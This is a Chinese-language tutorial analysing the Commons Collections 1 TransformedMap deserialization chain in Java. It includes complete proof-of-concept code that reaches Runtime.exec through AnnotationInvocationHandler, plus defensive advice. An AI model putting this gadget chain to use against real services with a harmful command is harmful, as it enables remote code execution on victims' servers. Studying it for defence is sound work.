java反序列化CC1 TransformedMap链
字数 1215 2025-08-10 22:07:53
Java反序列化漏洞分析:Commons Collections 1 (CC1) TransformedMap链利用详解
一、漏洞背景
Java反序列化漏洞是Java安全领域的重要议题,其中Apache Commons Collections库的反序列化漏洞(CC1)是最经典的案例之一。本教程将详细分析CC1漏洞中TransformedMap链的利用过程。
二、环境准备
- JDK版本: 1.7.0_80
- 依赖库: commons-collections-3.2
三、核心调用链分析
完整调用链如下:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
四、关键方法解析
1. InvokerTransformer.transform()
这是整个利用链的核心方法,通过反射执行任意方法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (Exception ex) {
// 异常处理
}
}
参数说明:
methodName: 要调用的方法名称paramType: 方法参数类型args: 传入方法的参数input: 执行方法的对象
2. ChainedTransformer.transform()
该方法循环执行Transformer数组中的transform方法:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
3. ConstantTransformer.transform()
简单的对象转换方法:
public Object transform(Object input) {
return iConstant;
}
五、漏洞利用步骤
1. 构造Transformer执行链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
2. 构造TransformedMap
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa"); // 注意key必须是注解类中的方法名
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chain);
3. 构造AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);
4. 序列化与反序列化触发
// 序列化
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("payload.bin"));
outputStream.writeObject(o);
// 反序列化触发
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("payload.bin"));
inputStream.readObject();
六、关键点分析
1. 为什么需要ConstantTransformer?
ConstantTransformer将任意输入对象转换为指定对象(这里是Runtime.class),为后续InvokerTransformer提供正确的反射目标。
2. 为什么key必须是"value"?
因为使用了Target.class注解,该注解只有一个value()方法。在AnnotationInvocationHandler.readObject()中:
for (Map.Entry<Object, Object> memberValue : memberValues.entrySet()) {
String name = (String) memberValue.getKey();
Class<?> memberType = memberTypes.get(name); // 这里需要name匹配注解方法名
if (memberType != null) { // 如果为null则跳过
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
memberValue.setValue(...); // 触发点
}
}
}
3. 为什么JDK 1.8+不受影响?
JDK 1.8对AnnotationInvocationHandler.readObject()进行了修改,不再调用setValue方法,因此无法触发后续利用链。
七、完整Payload
private void exploit() throws Exception {
// 构造Transformer执行链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 构造TransformedMap
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "aaa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chain);
// 通过反射构造AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class, transformedMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
oos.close();
// 反序列化触发
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}
八、注意事项
- 仅适用于JDK 1.7及以下版本
- 必须使用包含方法的注解类(如Target.class)
- Map的key必须与注解类中的方法名一致
- Commons Collections版本需为3.2.1及以下
九、防御建议
- 升级Commons Collections到最新版本
- 使用JDK 1.8及以上版本
- 对反序列化操作进行白名单控制
- 使用安全框架如SerialKiller过滤恶意序列化数据
通过以上详细分析,我们可以深入理解CC1 TransformedMap链的利用原理和实现方式,为Java反序列化安全研究打下坚实基础。